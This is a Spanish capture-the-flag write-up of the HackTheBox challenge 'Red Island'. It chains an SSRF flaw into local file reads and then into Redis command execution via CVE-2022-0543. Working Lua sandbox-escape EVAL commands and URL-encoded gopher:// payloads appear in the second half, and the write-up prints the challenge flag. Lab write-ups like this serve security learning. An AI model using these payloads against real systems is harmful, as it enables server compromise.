Red Island
4 minutos de lectura
Tenemos una página web como esta:
Podemos registrar una nueva cuenta e iniciar sesión para ver la siguiente funcionalidad:
Esta vez no tenemos el código fuente de la aplicación web, por lo que tendremos que encontrar una vulnerabilidad clara o encontrar el código fuente de alguna manera.
Podemos comenzar a pensar en Server-Side Request Forgery (SSRF). Como en otros retos, sabemos que el servidor web escucha en el puerto 1337, por lo que vamos a probar http://127.0.0.1:1337
:
Y obtenemos el código HTML de la página index.html
. Por tanto, es vulnerable a SSRF. Podemos probar otro esquema de protocolo como file://
:
Genial, podemos transformar la vulnerabilidad de SSRF en una navegación de directorios y leer archivos del servidor.
Podemos continuar enumerando procesos para ver qué está pasando. Vemos dos servicios importantes en ejecución:
Entonces, sabemos que es una aplicación en Node.js que utiliza Redis. Como en otros retos, el código fuente de la aplicación suele estar en /app/index.js
. Vamos a verlo:
Perfecto, tenemos el código fuente. Este es el archivo /app/index.js
:
const express = require('express')
const app = express()
const session = require('express-session')
const RedisStore = require('connect-redis')(session)
const path = require('path')
const cookieParser = require('cookie-parser')
const nunjucks = require('nunjucks')
const routes = require('./routes')
const Database = require('./database')
const { createClient } = require('redis')
const redisClient = createClient({ legacyMode: true })
const db = new Database('redisland.db')
app.use(express.json())
app.use(cookieParser())
redisClient.connect().catch(console.error)
app.use(
session({
store: new RedisStore({ client: redisClient }),
saveUninitialized: false,
secret: 'r4yh4nb34t5B1gM4c',
resave: false
})
)
nunjucks.configure('views', { autoescape: true, express: app })
app.set('views', './views')
app.use('/static', express.static(path.resolve('static')))
app.use(routes(db))
app.all('*', (req, res) => {
return res.status(404).send({ message: '404 page not found' })
})
;(async () => {
await db.connect()
await db.migrate()
app.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337'))
})()
Podemos seguir leyendo código fuente, pero ninguno tiene más información útil para resolver el reto. Todas las librerías de terceros están actualizadas, por lo que no hay vulnerabilidades de procesamiento de imágenes.
Un tema importante es que no sabemos dónde está la flag. Por tanto, deducimos que tenemos que conseguir ejecución remota de comandos en el servidor para buscar la flag.
Además, como el reto se llama “Red Island” y sabemos que Redis se usa como almacén de sesiones, la solución tiene que estar relacionada con Redis.
Con un poco de investigación, llegamos al CVE-2022-0543, que es una manera de ejecutar comandos escapando de una sandbox en Lua. Este artículo muestra cómo explotarlo. Básicamente, utiliza una consulta EVAL
en Redis para ejecutar código Lua, y escapa de la sandbox mediante una librería externa compartida:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
La librería compartida está disponible en el servidor:
Por tanto, vamos bien. Ahora necesitamos averiguar cómo interactuar con Redis a través del SSRF.
Con otro poco de investigación, vemos que curl
puede hablar con Redis usando HTTP, pero se necesitan parámetros específicos y no podemos usarlos en esta página web.
Existe otro protocolo que puede comunicarse con Redis, y es el protocolo gopher://
. De hecho, hay maneras de conseguir RCE utilizando este protocolo (sin usar el CVE anterior), pero no funcionan esta vez. Más información en infosecwriteups.com.
Básicamente, usaremos el código Lua de la consulta EVAL
para ejecutar comandos en el servidor. Tenemos que tener cuidado con la codificación URL y algunos campos del protocolo para poner la longitud de contenido correcta.
Por ejemplo, podemos usar la siguiente URL para ejecutar ls /
:
gopher://127.0.0.1:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24178%0d%0a%0a%0alocal%20io_l%20%3d%20package.loadlib('%2fusr%2flib%2fx86_64-linux-gnu%2fliblua5.1.so.0'%2c'luaopen_io')%3blocal%20io%3dio_l()%3blocal%20f%3dio.popen('ls%20%2f'%2c'r')%3blocal%20res%3df%3aread('*a')%3bf%3aclose()%3breturn%20res%0a%0a%0d%0a%241%0d%0a0%0d%0a*1%0d%0a%244%0d%0aquit%0d%0a
Nótese que hay un número 178
que representa la longitud del comando EVAL
. Tenemos esta salida:
Vemos que hay un archivo readflag
. Vamos a ver qué tipo de archivo es mediante file /readflag
(tenemos que aumentar la longitud a 188
):
gopher://127.0.0.1:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24188%0d%0a%0a%0alocal%20io_l%20%3d%20package.loadlib('%2fusr%2flib%2fx86_64-linux-gnu%2fliblua5.1.so.0'%2c'luaopen_io')%3blocal%20io%3dio_l()%3blocal%20f%3dio.popen('file%20%2freadflag'%2c'r')%3blocal%20res%3df%3aread('*a')%3bf%3aclose()%3breturn%20res%0a%0a%0d%0a%241%0d%0a0%0d%0a*1%0d%0a%244%0d%0aquit%0d%0a
Se trata de un binario ELF, igual si lo ejecutamos obtenemos la flag. Vamos a ejecutar /readflag
(tenemos que cambiar la longitud a 183
):
gopher://127.0.0.1:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24183%0d%0a%0a%0alocal%20io_l%20%3d%20package.loadlib('%2fusr%2flib%2fx86_64-linux-gnu%2fliblua5.1.so.0'%2c'luaopen_io')%3blocal%20io%3dio_l()%3blocal%20f%3dio.popen('%2freadflag'%2c'r')%3blocal%20res%3df%3aread('*a')%3bf%3aclose()%3breturn%20res%0a%0a%0d%0a%241%0d%0a0%0d%0a*1%0d%0a%244%0d%0aquit%0d%0a
Y ahí está: HTB{r3d_h4nd5_t0_th3_r3disland!}
.